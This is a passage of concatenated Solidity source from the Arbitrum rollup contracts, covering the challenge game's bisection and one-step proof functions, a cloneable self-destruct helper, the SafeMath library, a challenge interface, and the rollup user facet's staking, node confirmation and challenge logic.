"invalid segment length"
);
bytes32 bisectionHash =
ChallengeLib.bisectionChunkHash(
_challengedSegmentStart,
_challengedSegmentLength,
_chainHashes[0],
_oldEndHash
);
require(
ChallengeLib.verifySegmentProof(
challengeState,
bisectionHash,
_merkleNodes,
_merkleRoute
),
BIS_PREV
);
bytes32 newChallengeState =
ChallengeLib.updatedBisectionRoot(
_chainHashes,
_challengedSegmentStart,
_challengedSegmentLength
);
challengeState = newChallengeState;
emit Bisected(
newChallengeState,
_challengedSegmentStart,
_challengedSegmentLength,
_chainHashes
);
}
function proveContinuedExecution(
bytes32[] calldata _merkleNodes,
uint256 _merkleRoute,
uint256 _challengedSegmentStart,
uint256 _challengedSegmentLength,
bytes32 _oldEndHash,
uint256 _gasUsedBefore,
bytes32 _assertionRest
) external onlyOnTurn {
bytes32 beforeChainHash = ChallengeLib.assertionHash(_gasUsedBefore, _assertionRest);
bytes32 bisectionHash =
ChallengeLib.bisectionChunkHash(
_challengedSegmentStart,
_challengedSegmentLength,
beforeChainHash,
_oldEndHash
);
require(
ChallengeLib.verifySegmentProof(
challengeState,
bisectionHash,
_merkleNodes,
_merkleRoute
),
BIS_PREV
);
require(
_gasUsedBefore >= _challengedSegmentStart.add(_challengedSegmentLength),
"NOT_CONT"
);
require(beforeChainHash != _oldEndHash, "WRONG_END");
emit ContinuedExecutionProven();
_currentWin();
}
// machineFields
// initialInbox
// initialMessageAcc
// initialLogAcc
// initialState
// _initialGasUsed
// _initialSendCount
// _initialLogCount
function oneStepProveExecution(
bytes32[] calldata _merkleNodes,
uint256 _merkleRoute,
uint256 _challengedSegmentStart,
uint256 _challengedSegmentLength,
bytes32 _oldEndHash,
uint256 _initialMessagesRead,
bytes32[2] calldata _initialAccs,
uint256[3] memory _initialState,
bytes memory _executionProof,
bytes memory _bufferProof,
uint8 prover
) public onlyOnTurn {
bytes32 rootHash;
{
(uint64 gasUsed, uint256 totalMessagesRead, bytes32[4] memory proofFields) =
executors[prover].executeStep(
bridges,
_initialMessagesRead,
_initialAccs,
_executionProof,
_bufferProof
);
require(totalMessagesRead <= maxMessageCount, "TOO_MANY_MESSAGES");
require(
// if false, this segment must be proven with proveContinuedExecution
_initialState[0] < _challengedSegmentStart.add(_challengedSegmentLength),
"OSP_CONT"
);
require(
_initialState[0].add(gasUsed) >=
_challengedSegmentStart.add(_challengedSegmentLength),
"OSP_SHORT"
);
require(
_oldEndHash !=
oneStepProofExecutionAfter(
_initialAccs[0],
_initialAccs[1],
_initialState,
gasUsed,
totalMessagesRead,
proofFields
),
"WRONG_END"
);
rootHash = ChallengeLib.bisectionChunkHash(
_challengedSegmentStart,
_challengedSegmentLength,
oneStepProofExecutionBefore(
_initialMessagesRead,
_initialAccs[0],
_initialAccs[1],
_initialState,
proofFields
),
_oldEndHash
);
}
require(
ChallengeLib.verifySegmentProof(challengeState, rootHash, _merkleNodes, _merkleRoute),
BIS_PREV
);
emit OneStepProofCompleted();
_currentWin();
}
function timeout() external override {
uint256 timeSinceLastMove = block.number.sub(lastMoveBlock);
require(timeSinceLastMove > currentResponderTimeLeft(), TIMEOUT_DEADLINE);
if (turn == Turn.Asserter) {
emit AsserterTimedOut();
_challengerWin();
} else {
emit ChallengerTimedOut();
_asserterWin();
}
}
function currentResponder() public view returns (address) {
if (turn == Turn.Asserter) {
return asserter;
} else if (turn == Turn.Challenger) {
return challenger;
} else {
require(false, "NO_TURN");
}
}
function currentResponderTimeLeft() public view override returns (uint256) {
if (turn == Turn.Asserter) {
return asserterTimeLeft;
} else if (turn == Turn.Challenger) {
return challengerTimeLeft;
} else {
require(false, "NO_TURN");
}
}
function clearChallenge() external override {
require(msg.sender == address(resultReceiver), "NOT_RES_RECEIVER");
safeSelfDestruct(msg.sender);
}
function _currentWin() private {
if (turn == Turn.Asserter) {
_asserterWin();
} else {
_challengerWin();
}
}
function _asserterWin() private {
resultReceiver.completeChallenge(asserter, challenger);
safeSelfDestruct(msg.sender);
}
function _challengerWin() private {
resultReceiver.completeChallenge(challenger, asserter);
safeSelfDestruct(msg.sender);
}
function bisectionDegree(uint256 _chainLength, uint256 targetDegree)
private
pure
returns (uint256)
{
if (_chainLength < targetDegree) {
return _chainLength;
} else {
return targetDegree;
}
}
// proofFields
// initialMachineHash
// afterMachineHash
// afterInboxAcc
// afterMessagesHash
// afterLogsHash
function oneStepProofExecutionBefore(
uint256 _initialMessagesRead,
bytes32 _initialSendAcc,
bytes32 _initialLogAcc,
uint256[3] memory _initialState,
bytes32[4] memory proofFields
) private pure returns (bytes32) {
return
ChallengeLib.assertionHash(
_initialState[0],
ChallengeLib.assertionRestHash(
_initialMessagesRead,
proofFields[0],
_initialSendAcc,
_initialState[1],
_initialLogAcc,
_initialState[2]
)
);
}
function oneStepProofExecutionAfter(
bytes32 _initialSendAcc,
bytes32 _initialLogAcc,
uint256[3] memory _initialState,
uint64 gasUsed,
uint256 totalMessagesRead,
bytes32[4] memory proofFields
) private pure returns (bytes32) {
uint256 newSendCount = _initialState[1].add((_initialSendAcc == proofFields[2] ? 0 : 1));
uint256 newLogCount = _initialState[2].add((_initialLogAcc == proofFields[3] ? 0 : 1));
// The one step proof already guarantees us that firstMessage and lastMessage
// are either one or 0 messages apart and the same is true for logs. Therefore
// we can infer the message count and log count based on whether the fields
// are equal or not
return
ChallengeLib.assertionHash(
_initialState[0].add(gasUsed),
ChallengeLib.assertionRestHash(
totalMessagesRead,
proofFields[1],
proofFields[2],
newSendCount,
proofFields[3],
newLogCount
)
);
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019-2020, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./ICloneable.sol";
contract Cloneable is ICloneable {
string private constant NOT_CLONE = "NOT_CLONE";
bool private isMasterCopy;
constructor() public {
isMasterCopy = true;
}
function isMaster() external view override returns (bool) {
return isMasterCopy;
}
function safeSelfDestruct(address payable dest) internal {
require(!isMasterCopy, NOT_CLONE);
selfdestruct(dest);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "../bridge/interfaces/IBridge.sol";
import "../bridge/interfaces/ISequencerInbox.sol";
import "../arch/IOneStepProof.sol";
interface IChallenge {
function initializeChallenge(
IOneStepProof[] calldata _executors,
address _resultReceiver,
bytes32 _executionHash,
uint256 _maxMessageCount,
address _asserter,
address _challenger,
uint256 _asserterTimeLeft,
uint256 _challengerTimeLeft,
ISequencerInbox _sequencerBridge,
IBridge _delayedBridge
) external;
function currentResponderTimeLeft() external view returns (uint256);
function lastMoveBlock() external view returns (uint256);
function timeout() external;
function asserter() external view returns (address);
function challenger() external view returns (address);
function clearChallenge() external;
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.6.11;
import "../Rollup.sol";
import "./IRollupFacets.sol";
abstract contract AbsRollupUserFacet is RollupBase, IRollupUser {
function initialize(address _stakeToken) public virtual override;
// TODO: Configure this value based on the cost of sends
uint8 internal constant MAX_SEND_COUNT = 100;
modifier onlyValidator {
require(isValidator[msg.sender], "NOT_VALIDATOR");
_;
}
/**
* @notice Reject the next unresolved node
* @param stakerAddress Example staker staked on sibling
*/
function rejectNextNode(address stakerAddress) external onlyValidator whenNotPaused {
requireUnresolvedExists();
uint256 latest = latestConfirmed();
uint256 firstUnresolved = firstUnresolvedNode();
INode node = getNode(firstUnresolved);
if (node.prev() == latest) {
// Confirm that the example staker is staked on a sibling node
require(isStaked(stakerAddress), "NOT_STAKED");
requireUnresolved(latestStakedNode(stakerAddress));
require(!node.stakers(stakerAddress), "STAKED_ON_TARGET");
// Verify the block's deadline has passed
node.requirePastDeadline();
getNode(latest).requirePastChildConfirmDeadline();
removeOldZombies(0);
// Verify that no staker is staked on this node
require(node.stakerCount() == countStakedZombies(node), "HAS_STAKERS");
}
rejectNextNode();
rollupEventBridge.nodeRejected(firstUnresolved);
emit NodeRejected(firstUnresolved);
}
/**
* @notice Confirm the next unresolved node
* @param beforeSendAcc Accumulator of the AVM sends from the beginning of time up to the end of the previous confirmed node
* @param sendsData Concatenated data of the sends included in the confirmed node
* @param sendLengths Lengths of the included sends
* @param afterSendCount Total number of AVM sends emitted from the beginning of time after this node is confirmed
* @param afterLogAcc Accumulator of the AVM logs from the beginning of time up to the end of this node
* @param afterLogCount Total number of AVM logs emitted from the beginning of time after this node is confirmed
*/
function confirmNextNode(
bytes32 beforeSendAcc,
bytes calldata sendsData,
uint256[] calldata sendLengths,
uint256 afterSendCount,
bytes32 afterLogAcc,
uint256 afterLogCount
) external onlyValidator whenNotPaused {
requireUnresolvedExists();
// There is at least one non-zombie staker
require(stakerCount() > 0, "NO_STAKERS");
uint256 firstUnresolved = firstUnresolvedNode();
INode node = getNode(firstUnresolved);
// Verify the block's deadline has passed
node.requirePastDeadline();
// Check that prev is latest confirmed
require(node.prev() == latestConfirmed(), "INVALID_PREV");
getNode(latestConfirmed()).requirePastChildConfirmDeadline();
removeOldZombies(0);
// All non-zombie stakers are staked on this node
require(
node.stakerCount() == stakerCount().add(countStakedZombies(node)),
"NOT_ALL_STAKED"
);
bytes32 afterSendAcc = RollupLib.feedAccumulator(sendsData, sendLengths, beforeSendAcc);
require(
node.confirmData() ==
RollupLib.confirmHash(
beforeSendAcc,
afterSendAcc,
afterLogAcc,
afterSendCount,
afterLogCount
),
"CONFIRM_DATA"
);
outbox.processOutgoingMessages(sendsData, sendLengths);
confirmNextNode();
rollupEventBridge.nodeConfirmed(firstUnresolved);
emit NodeConfirmed(
firstUnresolved,
afterSendAcc,
afterSendCount,
afterLogAcc,
afterLogCount
);
}
/**
* @notice Create a new stake
* @param depositAmount The amount of either eth or tokens staked
*/
function _newStake(uint256 depositAmount) internal onlyValidator whenNotPaused {
// Verify that sender is not already a staker
require(!isStaked(msg.sender), "ALREADY_STAKED");
require(!isZombie(msg.sender), "STAKER_IS_ZOMBIE");
require(depositAmount >= currentRequiredStake(), "NOT_ENOUGH_STAKE");
createNewStake(msg.sender, depositAmount);
rollupEventBridge.stakeCreated(msg.sender, latestConfirmed());
}
/**
* @notice Move stake onto an existing node
* @param nodeNum Inbox of the node to move stake to. This must by a child of the node the staker is currently staked on
* @param nodeHash Node hash of nodeNum (protects against reorgs)
*/
function stakeOnExistingNode(uint256 nodeNum, bytes32 nodeHash)
external
onlyValidator
whenNotPaused
{
require(isStaked(msg.sender), "NOT_STAKED");
require(getNodeHash(nodeNum) == nodeHash, "NODE_REORG");
require(nodeNum >= firstUnresolvedNode() && nodeNum <= latestNodeCreated());
INode node = getNode(nodeNum);
require(latestStakedNode(msg.sender) == node.prev(), "NOT_STAKED_PREV");
stakeOnNode(msg.sender, nodeNum, confirmPeriodBlocks);
}
struct StakeOnNewNodeFrame {
uint256 sequencerBatchEnd;
bytes32 sequencerBatchAcc;
uint256 currentInboxSize;
INode node;
bytes32 executionHash;
INode prevNode;
}
/**
* @notice Move stake onto a new node
* @param expectedNodeHash The hash of the node being created (protects against reorgs)
* @param assertionBytes32Fields Assertion data for creating
* @param assertionIntFields Assertion data for creating
*/
function stakeOnNewNode(
bytes32 expectedNodeHash,
bytes32[3][2] calldata assertionBytes32Fields,
uint256[4][2] calldata assertionIntFields,
uint256 beforeProposedBlock,
uint256 beforeInboxMaxCount,
bytes calldata sequencerBatchProof
) external onlyValidator whenNotPaused {
require(isStaked(msg.sender), "NOT_STAKED");
uint256 prevNodeNum = latestStakedNode(msg.sender);
StakeOnNewNodeFrame memory frame;
{
INode prevNode = getNode(prevNodeNum);
uint256 currentInboxSize = sequencerBridge.messageCount();
RollupLib.Assertion memory assertion =
RollupLib.decodeAssertion(
assertionBytes32Fields,
assertionIntFields,
beforeProposedBlock,
beforeInboxMaxCount,
currentInboxSize
);
uint256 sequencerBatchEnd;
bytes32 sequencerBatchAcc;
uint256 deadlineBlock;
{
// frame.executionHash = RollupLib.executionHash(assertion);
// Make sure the previous state is correct against the node being built on
require(
RollupLib.stateHash(assertion.beforeState) == prevNode.stateHash(),
"PREV_STATE_HASH"
);
(sequencerBatchEnd, sequencerBatchAcc) = sequencerBridge
.proveBatchContainsSequenceNumber(
sequencerBatchProof,
assertion.afterState.inboxCount
);
uint256 timeSinceLastNode = block.number.sub(assertion.beforeState.proposedBlock);
// Verify that assertion meets the minimum Delta time requirement
require(timeSinceLastNode >= minimumAssertionPeriod, "TIME_DELTA");
uint256 gasUsed = assertion.afterState.gasUsed.sub(assertion.beforeState.gasUsed);
// Minimum size requirements: each assertion must satisfy either
require(
// Consumes at least all inbox messages put into L1 inbox before your prev node’s L1 blocknum
assertion.afterState.inboxCount >= assertion.beforeState.inboxMaxCount ||
// Consumes ArbGas >=100% of speed limit for time since your prev node (based on difference in L1 blocknum)
gasUsed >= timeSinceLastNode.mul(arbGasSpeedLimitPerBlock) ||
assertion.afterState.sendCount.sub(assertion.beforeState.sendCount) ==
MAX_SEND_COUNT,
"TOO_SMALL"
);
// Don't allow an assertion to use above a maximum amount of gas
require(
gasUsed <= timeSinceLastNode.mul(arbGasSpeedLimitPerBlock).mul(4),
"TOO_LARGE"
);
{
// Set deadline rounding up to the nearest block
uint256 checkTime =
gasUsed.add(arbGasSpeedLimitPerBlock.sub(1)).div(arbGasSpeedLimitPerBlock);
deadlineBlock = max(
block.number.add(confirmPeriodBlocks),
prevNode.deadlineBlock()
)
.add(checkTime);
uint256 olderSibling = prevNode.latestChildNumber();
if (olderSibling != 0) {
deadlineBlock = max(deadlineBlock, getNode(olderSibling).deadlineBlock());
}
}
// Ensure that the assertion doesn't read past the end of the current inbox
require(assertion.afterState.inboxCount <= currentInboxSize, "INBOX_PAST_END");
}
bytes32 nodeHash;
{
bytes32 lastHash;
bool hasSibling = prevNode.latestChildNumber() > 0;
if (hasSibling) {
lastHash = getNodeHash(prevNode.latestChildNumber());
} else {
lastHash = getNodeHash(prevNodeNum);
}
(nodeHash, frame) = createNewNode(
assertion,
deadlineBlock,
sequencerBatchEnd,
sequencerBatchAcc,
prevNodeNum,
lastHash,
hasSibling
);
}
require(nodeHash == expectedNodeHash, "UNEXPECTED_NODE_HASH");
stakeOnNode(msg.sender, latestNodeCreated(), confirmPeriodBlocks);
}
emit NodeCreated(
latestNodeCreated(),
getNodeHash(prevNodeNum),
expectedNodeHash,
frame.executionHash,
frame.currentInboxSize,
frame.sequencerBatchEnd,
frame.sequencerBatchAcc,
assertionBytes32Fields,
assertionIntFields
);
}
function createNewNode(
RollupLib.Assertion memory assertion,
uint256 deadlineBlock,
uint256 sequencerBatchEnd,
bytes32 sequencerBatchAcc,
uint256 prevNode,
bytes32 prevHash,
bool hasSibling
) internal returns (bytes32, StakeOnNewNodeFrame memory) {
StakeOnNewNodeFrame memory frame;
frame.currentInboxSize = sequencerBridge.messageCount();
frame.prevNode = getNode(prevNode);
{
uint256 nodeNum = latestNodeCreated() + 1;
frame.executionHash = RollupLib.executionHash(assertion);
frame.sequencerBatchEnd = sequencerBatchEnd;
frame.sequencerBatchAcc = sequencerBatchAcc;
rollupEventBridge.nodeCreated(nodeNum, prevNode, deadlineBlock, msg.sender);
frame.node = INode(
nodeFactory.createNode(
RollupLib.stateHash(assertion.afterState),
RollupLib.challengeRoot(assertion, frame.executionHash, block.number),
RollupLib.confirmHash(assertion),
prevNode,
deadlineBlock
)
);
}
bytes32 nodeHash =
RollupLib.nodeHash(hasSibling, prevHash, frame.executionHash, frame.sequencerBatchAcc);
nodeCreated(frame.node, nodeHash);
frame.prevNode.childCreated(latestNodeCreated());
return (nodeHash, frame);
}
/**
* @notice Refund a staker that is currently staked on or before the latest confirmed node
* @dev Since a staker is initially placed in the latest confirmed node, if they don't move it
* a griefer can remove their stake. It is recomended to batch together the txs to place a stake
* and move it to the desired node.
* @param stakerAddress Address of the staker whose stake is refunded
*/
function returnOldDeposit(address stakerAddress) external override onlyValidator whenNotPaused {
require(latestStakedNode(stakerAddress) <= latestConfirmed(), "TOO_RECENT");
requireUnchallengedStaker(stakerAddress);
withdrawStaker(stakerAddress);
}
/**
* @notice Increase the amount staked for the given staker
* @param stakerAddress Address of the staker whose stake is increased
* @param depositAmount The amount of either eth or tokens deposited
*/
function _addToDeposit(address stakerAddress, uint256 depositAmount)
internal
onlyValidator
whenNotPaused
{
requireUnchallengedStaker(stakerAddress);
increaseStakeBy(stakerAddress, depositAmount);
}
/**
* @notice Reduce the amount staked for the sender
* @param target Target amount of stake for the staker. If this is below the current minimum, it will be set to minimum instead
*/
function reduceDeposit(uint256 target) external onlyValidator whenNotPaused {
requireUnchallengedStaker(msg.sender);
uint256 currentRequired = currentRequiredStake();
if (target < currentRequired) {
target = currentRequired;
}
reduceStakeTo(msg.sender, target);
}
/**
* @notice Start a challenge between the given stakers over the node created by the first staker assuming that the two are staked on conflicting nodes
* @param stakers Stakers engaged in the challenge. The first staker should be staked on the first node
* @param nodeNums Nodes of the stakers engaged in the challenge. The first node should be the earliest and is the one challenged
* @param executionHashes Challenge related data for the two nodes
* @param proposedTimes Times that the two nodes were proposed
* @param maxMessageCounts Total number of messages consumed by the two nodes
*/
function createChallenge(
address payable[2] calldata stakers,
uint256[2] calldata nodeNums,
bytes32[2] calldata executionHashes,
uint256[2] calldata proposedTimes,
uint256[2] calldata maxMessageCounts
) external onlyValidator whenNotPaused {
require(nodeNums[0] < nodeNums[1], "WRONG_ORDER");
require(nodeNums[1] <= latestNodeCreated(), "NOT_PROPOSED");
require(latestConfirmed() < nodeNums[0], "ALREADY_CONFIRMED");
INode node1 = getNode(nodeNums[0]);
INode node2 = getNode(nodeNums[1]);
require(node1.prev() == node2.prev(), "DIFF_PREV");
requireUnchallengedStaker(stakers[0]);
requireUnchallengedStaker(stakers[1]);
require(node1.stakers(stakers[0]), "STAKER1_NOT_STAKED");
require(node2.stakers(stakers[1]), "STAKER2_NOT_STAKED");
require(
node1.challengeHash() ==
RollupLib.challengeRootHash(
executionHashes[0],
proposedTimes[0],
maxMessageCounts[0]
),
"CHAL_HASH1"
);
require(
node2.challengeHash() ==
RollupLib.challengeRootHash(
executionHashes[1],
proposedTimes[1],
maxMessageCounts[1]
),
"CHAL_HASH2"
);
uint256 commonEndTime =
node1.deadlineBlock().sub(proposedTimes[0]).add(extraChallengeTimeBlocks).add(
getNode(node1.prev()).firstChildBlock()
);
if (commonEndTime < proposedTimes[1]) {
// The second node was created too late to be challenged.
completeChallengeImpl(stakers[0], stakers[1]);
return;
}
// Start a challenge between staker1 and staker2. Staker1 will defend the correctness of node1, and staker2 will challenge it.
address challengeAddress =
challengeFactory.createChallenge(
address(this),
executionHashes[0],
maxMessageCounts[0],
stakers[0],
stakers[1],
commonEndTime.sub(proposedTimes[0]),
commonEndTime.sub(proposedTimes[1]),
sequencerBridge,
delayedBridge
);
challengeStarted(stakers[0], stakers[1], challengeAddress);
emit RollupChallengeStarted(challengeAddress, stakers[0], stakers[1], nodeNums[0]);
}
/**
* @notice Inform the rollup that the challenge between the given stakers is completed
* @dev completeChallenge isn't pausable since in flight challenges should be allowed to complete or else they could be forced to timeout
* @param winningStaker Address of the winning staker
* @param losingStaker Address of the losing staker
*/
function completeChallenge(address winningStaker, address losingStaker)
external
override
whenNotPaused
{
// Only the challenge contract can declare winners and losers
require(msg.sender == inChallenge(winningStaker, losingStaker), "WRONG_SENDER");
completeChallengeImpl(winningStaker, losingStaker);
}
function completeChallengeImpl(address winningStaker, address losingStaker) private {
uint256 remainingLoserStake = amountStaked(losingStaker);
uint256 winnerStake = amountStaked(winningStaker);
if (remainingLoserStake > winnerStake) {
remainingLoserStake = remainingLoserStake.sub(reduceStakeTo(losingStaker, winnerStake));
}
uint256 amountWon = remainingLoserStake / 2;
increaseStakeBy(winningStaker, amountWon);
remainingLoserStake = remainingLoserStake.sub(amountWon);
clearChallenge(winningStaker);
increaseWithdrawableFunds(owner, remainingLoserStake);
turnIntoZombie(losingStaker);
}
/**
* @notice Remove the given zombie from nodes it is staked on, moving backwords from the latest node it is staked on
* @param zombieNum Index of the zombie to remove
* @param maxNodes Maximum number of nodes to remove the zombie from (to limit the cost of this transaction)
*/
function removeZombie(uint256 zombieNum, uint256 maxNodes)
external
onlyValidator
whenNotPaused
{
require(zombieNum <= zombieCount(), "NO_SUCH_ZOMBIE");
address zombieStakerAddress = zombieAddress(zombieNum);
uint256 latestStakedNode = zombieLatestStakedNode(zombieNum);
uint256 nodesRemoved = 0;
uint256 firstUnresolved = firstUnresolvedNode();
while (latestStakedNode >= firstUnresolved && nodesRemoved < maxNodes) {
INode node = getNode(latestStakedNode);
node.removeStaker(zombieStakerAddress);
latestStakedNode = node.prev();
nodesRemoved++;
}
if (latestStakedNode < firstUnresolved) {
removeZombie(zombieNum);
} else {
zombieUpdateLatestStakedNode(zombieNum, latestStakedNode);
}
}
/**
* @notice Remove any zombies whose latest stake is earlier than the first unresolved node
* @param startIndex Index in the zombie list to start removing zombies from (to limit the cost of this transaction)
*/
function removeOldZombies(uint256 startIndex) public {
uint256 currentZombieCount = zombieCount();
uint256 firstUnresolved = firstUnresolvedNode();
for (uint256 i = startIndex; i < currentZombieCount; i++) {
while (zombieLatestStakedNode(i) < firstUnresolved) {
removeZombie(i);
currentZombieCount--;
if (i >= currentZombieCount) {
return;
}
}
}
}
/**
* @notice Calculate the current amount of funds required to place a new stake in the rollup
* @dev If the stake requirement get's too high, this function may start reverting due to overflow, but
* that only blocks operations that should be blocked anyway
* @return The current minimum stake requirement
*/
function currentRequiredStake(
uint256 _blockNumber,
uint256 _firstUnresolvedNodeNum,
uint256 _latestNodeCreated
) internal view returns (uint256) {
// If there are no unresolved nodes, then you can use the base stake
if (_firstUnresolvedNodeNum - 1 == _latestNodeCreated) {
return baseStake;
}
uint256 firstUnresolvedDeadline = getNode(_firstUnresolvedNodeNum).deadlineBlock();
if (_blockNumber < firstUnresolvedDeadline) {
return baseStake;
}
uint24[10] memory numerators =
[1, 122971, 128977, 80017, 207329, 114243, 314252, 129988, 224562, 162163];
uint24[10] memory denominators =
[1, 114736, 112281, 64994, 157126, 80782, 207329, 80017, 128977, 86901];
uint256 firstUnresolvedAge = _blockNumber.sub(firstUnresolvedDeadline);
uint256 periodsPassed = firstUnresolvedAge.mul(10).div(confirmPeriodBlocks);
// Overflow check
if (periodsPassed.div(10) >= 255) {
return type(uint256).max;
}
uint256 baseMultiplier = 2**periodsPassed.div(10);
uint256 withNumerator = baseMultiplier * numerators[periodsPassed % 10];
// Overflow check
if (withNumerator / baseMultiplier != numerators[periodsPassed % 10]) {
return type(uint256).max;
}
uint256 multiplier = withNumerator.div(denominators[periodsPassed % 10]);
if (multiplier == 0) {
multiplier = 1;
}
uint256 fullStake = baseStake * multiplier;
// Overflow check
if (fullStake / baseStake != multiplier) {
return type(uint256).max;
}
return fullStake;
}
/**
* @notice Calculate the current amount of funds required to place a new stake in the rollup
* @dev If the stake requirement get's too high, this function may start reverting due to overflow, but
* that only blocks operations that should be blocked anyway
* @return The current minimum stake requirement
*/
function requiredStake(
uint256 blockNumber,
uint256 firstUnresolvedNodeNum,
uint256 latestNodeCreated
) public view returns (uint256) {
return currentRequiredStake(blockNumber, firstUnresolvedNodeNum, latestNodeCreated);
}
function currentRequiredStake() public view returns (uint256) {
uint256 firstUnresolvedNodeNum = firstUnresolvedNode();
return currentRequiredStake(block.number, firstUnresolvedNodeNum, latestNodeCreated());
}
/**
* @notice Calculate the number of zombies staked on the given node
*
* @dev This function could be uncallable if there are too many zombies. However,
* removeZombie and removeOldZombies can be used to remove any zombies that exist
* so that this will then be callable
*
* @param node The node on which to count staked zombies
* @return The number of zombies staked on the node
*/
function countStakedZombies(INode node) public view override returns (uint256) {
uint256 currentZombieCount = zombieCount();
uint256 stakedZombieCount = 0;
for (uint256 i = 0; i < currentZombieCount; i++) {
if (node.stakers(zombieAddress(i))) {
stakedZombieCount++;
}
}
return stakedZombieCount;
}
/**
* @notice Verify that there are some number of nodes still unresolved
